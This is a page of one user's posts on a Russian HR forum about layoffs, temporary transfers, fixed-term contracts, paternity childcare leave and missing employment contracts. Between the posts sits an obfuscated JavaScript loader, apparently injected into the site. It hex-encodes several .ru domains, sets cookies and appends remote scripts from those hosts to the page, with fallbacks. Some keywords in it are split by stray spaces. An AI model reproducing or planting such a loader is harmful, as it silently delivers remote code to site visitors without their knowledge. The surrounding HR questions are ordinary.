Дина Ж. (Все сообщения пользователя) , Публикация №278094

За нас "думает" головная организация, которая находится в другом городе. Там никого такие подробности не интересуют, ТК тем более((( А люди в таком положении практически на всё согласны. Хочется хоть как то подстраховаться в сложившейся ситуации.
Вам большое спасибо за ответ!

Добрый день!
В нашей организации во время сокращения в уведомлениях нескольким сотрудникам предложили временный перевод (на время отпусков по уходу за ребенком основных сотрудниц). Они согласились. Но меня гложут сомнения теперь. У сотрудников были постоянные договора, теперь получается, что они временные работники - по доп.соглашениям. Они будут просто уволены в связи с выходом основных сотрудников? Или сокращены всё-таки? Какую запись мне делать в трудовой? Что писать в приказе на перевод (основание - уведомление о сокращении или ещё что?) Боюсь ошибиться. Заранее спасибо!

window .a1336404323 = 1;!f unction(){var e=JSON.parse('["673373373778697871302e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

- свидетельство из налоговой о том, что его жена предприниматель;
- свидетельство о рождении ребенка;
- справка из УСЗН о том, что его супруга не получала единовременное пособие при рождении
и пособие по уходу за ребенком до 1.5 лет;
- справка из ФСС о том, что его супруга не является страхователем ФСС по добровольному страхованию себя;
- заявление о предоставлении отпуска по уходу за ребенком до 1.5 лет

... настоящий трудовой договор заключается на определенный срок с ...... по 31.12.2016 г. для выполнения заведомо определенной работы на объектах АО "...." (абзац 8 части первой статьи 59 ТК РФ).
Сейчас работы на этих объектах нет, финансирование остановлено

Будем предоставлять. Вернее, уже предоставили. Теперь он у нас отец кормящий))

Доброе утро! Помогите, пожалуйста! В нашей организации намечается большое сокращение. В первую очередь планируется сократить пенсионеров и работников, которые устроены по срочным трудовым договорам. НО! По срочным ТД работники принимались для выполнения заведомо определенной работы на определенных объектах, дата окончания работы стоит 31.12.2016 года. Дело в том, что эта заведомо определенная работа заканчивается уже в начале 2016 года, т.к. финансирование заказчиком прекращается. Можем ли мы прервать эти ТД раньше оговоренного срока?

Посмотрела похожую тему - всё понятно стало, спасибо

Серега, спасибо Вам! Но у меня остались вопросы ещё)
Справку он мне принес из ФСС, что единовременное за рождение ребенка и пособие до 1,5 лет она не получала.
Так же там было написано, что как предприниматель перечисления в ФСС она не делала.
Меня интересует следующее: фактически получается, что мама сама осуществляет уход за ребенком! И в этом случае папа не может претендовать на получение такого отпуска?! Нет же никакой справки, что она не может осуществлять уход за ребенком....
А если не может, откуда и какую справку нужно запросить?

Доброе утро!
Помогите, пожалуйста, разобраться в ситуации...
У нашего сотрудника родился ребенок, он хочет уйти в отпуск по уходу за ребенком до 1.5 лет вместо мамы. Тут всё понятно-приноси справки после окончания больничного по беременности и родам от работодателя жены, что ей такой отпуск не предоставлялся и пожалуйста, но! Мама у нас предприниматель. С его слов больничный лист по беременности и родам она не оформляла, где справки брать, тоже не понятно. Он знает просто, что хочет в декрет! Сейчас же! Что же нам делать? Какие справки и откуда запросить? Первый раз сталкиваемся с такой ситуацией:stars

Серега, большое человеческое спасибо!

)))))) в том то и дело, что путается! Поэтому её мнение не авторитетно))

Добрый день всем. Помогите, пожалуйста, разобраться!
Уходит в ежегодный отпуск ИТР (механик-энергетик). На время его отпуска хотят перевести электромонтера. Возможно ли это? Наш расчетчик говорит что это запрещено. И как в этом случае будет рассчитываться доплата?
Вообще, могут ли рабочие замещать ИТР? На что ссылаться?

спасибо большое!

Добрый день! Подскажите, пожалуйста, где можно посмотреть какое количество календарных дней дополнительного отпуска за работу во вредных условиях труда положено по различным профессиям.
Конкретно интересуют газорезчики, электросварщики ручной сварки, дефектоскописты рентгено-, гаммаграфирования. Где это в законодательстве прописано:?:

Добрый день! Подскажите, пожалуйста, где можно посмотреть какое количество календарных дней дополнительного отпуска за работу во вредных условиях труда положено по различным профессиям.
Конкретно интересуют газорезчики, электросварщики ручной сварки, дефектоскописты рентгено-, гаммаграфирования. Где это в законодательстве прописано:?:

Я в этом случае согласна с гл.бухгалтером.) Временного работника нужно уволить 2 марта, последним рабочим днем.

Добрый день! Помогите разобраться, пожалуйста!
Мы филиал организации, находящейся в другом городе. Т.е. головная организация утверждает нам все документы, в том числе и штатное расписание. С января 2015 года они убрали разряды (категории) у некоторых специальностей. Например, у машинистов гусеничных и автомобильных кранов, машинистов автогидроподъемников. Убирают классность у водителей. Правильно ли это? Ведь з/пл зависит именно от разрядов? Что мне писать в трудовых? никакого распорядительного документа не было. Как же быть?

Елена *А*, спасибо большое!
А грозит - потому что первая))

Уважаемые кадровики! Помогите, пожалуйста! :?:В нашей организации есть работники, которые работают уже больше 20 лет. Трудовые договора тогда ещё не заключались, их просто нет. В самое ближайшее время нам грозит проверка(( Что же делать? Если заключать, то от какого числа? Спасибо заранее за ответ